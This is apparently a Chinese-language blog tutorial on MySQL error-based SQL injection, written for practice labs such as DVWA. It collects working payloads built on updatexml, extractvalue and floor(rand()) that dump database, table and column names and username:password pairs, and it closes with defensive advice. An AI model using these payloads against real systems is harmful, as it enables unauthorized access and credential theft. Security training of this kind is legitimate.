一、基础知识回顾
1. SQL注入是什么?
SQL注入(SQL Injection)是一种通过向Web应用的输入位置注入恶意SQL语句,从而干扰后台数据库查询结构、读取或控制数据库内容的攻击方式。
2. 常见SQL语句及注入特征
| SQL语句 | 作用 | 是否易于注入 | 是否有回显 | 应用场景 |
|---|---|---|---|---|
| SELECT | 查询数据 | ✅ | ✅ | 登录、搜索、展示数据等 |
| INSERT | 插入新数据 | ✅ | ❌ | 注册、发帖 |
| UPDATE | 更新已有数据 | ✅ | ❌ | 修改信息、后台维护 |
| DELETE | 删除数据 | ✅ | ❌ | 删除评论、购物车清空等 |
注:无回显时必须使用报错注入或盲注技术!
二、SQL注入分析流程
1. 判断是否存在注入点
-
尝试输入
'、"、--等特殊字符,观察报错或结构变化 -
使用布尔值对比(如 1=1 与 1=2)测试返回变化
2. 确认注入点类型
-
数字型参数?(如
id=1) → 可直接拼接数字语句 -
字符型参数?(如
name='admin') → 需闭合引号 + 注释
3. 明确提交方式
-
GET:URL中参数明显 → 可直接构造
-
POST:隐藏参数 → 抓包工具查看(如 Burp Suite)
-
COOKIE/HTTP头:更隐蔽注入 → 用抓包修改或JS劫持
三、报错注入技术详解
1. 什么是报错注入?
报错注入是利用数据库错误信息中的回显内容来获取数据库信息。注入点没有直接显示查询结果,但通过构造触发SQL错误,让数据库“说出”它自己。
2. 关键函数及用法
extractvalue()
-
语法格式:
extractvalue(xml_data, xpath_expr) -
常用Payload:
extractvalue(1, concat(0x7e, database(), 0x7e)) -
解释: 第二个参数构造不合法的XPath路径,触发数据库错误,将
database()的内容在错误中展示出来。
updatexml()
-
语法格式:
updatexml(xml_data, xpath_expr, new_value) -
常用Payload:
updatexml(1, concat(0x7e, user(), 0x7e), 1) -
与 extractvalue 区别: 参数多一个新值,一样会因 XPath 报错。
floor() + rand()
-
组合爆错:
(select count(*) from information_schema.tables group by concat((select database()), floor(rand(0)*2))) -
原理:
group by强制重复分组 + rand() 导致重复 key,触发 MySQL 报错
对于函数解释更详细的文章在这条链接:
四、数据提取技巧
1. 使用 LIMIT 逐条读取
(select table_name from information_schema.tables
where table_schema=database() limit 0,1)
-
第1条记录:limit 0,1
-
第2条记录:limit 1,1
2. 使用 substr() 逐字符爆破
substr((select user()), 1, 1) = 'r'
-
从第1位开始取1位,用于布尔或报错注入,配合ASCII可判断每一位字符
五、实战Payload汇总
1. 报错回显数据库名
updatexml(1,concat(0x7e,(select database()),0x7e),1)
2. 回显当前数据库所有表名
updatexml(1,concat(0x7e,(select group_concat(table_name)
from information_schema.tables where table_schema=database()),0x7e),1)
3. 回显字段名(以users表为例)
updatexml(1,concat(0x7e,(select group_concat(column_name)
from information_schema.columns where table_name='users'),0x7e),1)
4. 回显用户密码数据(截断避免内容超长)
updatexml(1,concat(0x7e,
substr((select group_concat(username,0x3a,password) from users)
,1,30),0x7e),1)
六、OR 与 UNION 报错注入对比
UNION 联合注入:结构完整,数据直接回显
-
示例:
1' union select 1, updatexml(1,concat(0x7e,user(),0x7e),1)#
OR 报错注入:强制成立条件并注入函数
-
示例:
1' or updatexml(1,concat(0x7e,database(),0x7e),1)#
七、小技巧 & 实用建议
| 技巧 | 说明 |
| 0x7e | 即波浪号 ~,用于报错信息中醒目标记 |
| %23 / # | SQL注释符,终止原始语句 |
| group_concat | 聚合函数,常用于一次读取多个字段或表名 |
| concat() | 拼接多个字段或字符串 |
| floor(rand()) | 强制重复触发报错 |
八、防御建议(务必掌握)
安全开发
-
所有SQL语句应使用 预编译/参数化语句
-
禁用错误信息回显(
display_errors = Off)
输入验证
-
所有前端输入进行类型校验 + 特殊字符过滤
-
对Cookie、Referer等隐蔽参数也要处理
权限控制
-
数据库连接账号使用最小权限原则(不可用root)
-
禁止Web端执行
information_schema查询
九、总结与建议
-
报错盲注是最强力的非回显注入手段之一,能快速泄露数据库信息
-
updatexml()与extractvalue()是核心武器 -
一旦发现无回显注入点,应优先尝试报错注入而非盲注爆破
学习建议: 多练习,熟练掌握这些报错语句的结构、逻辑和组合方法,配合Pikachu/DVWA等靶场效果最佳。

3797

被折叠的 条评论
为什么被折叠?



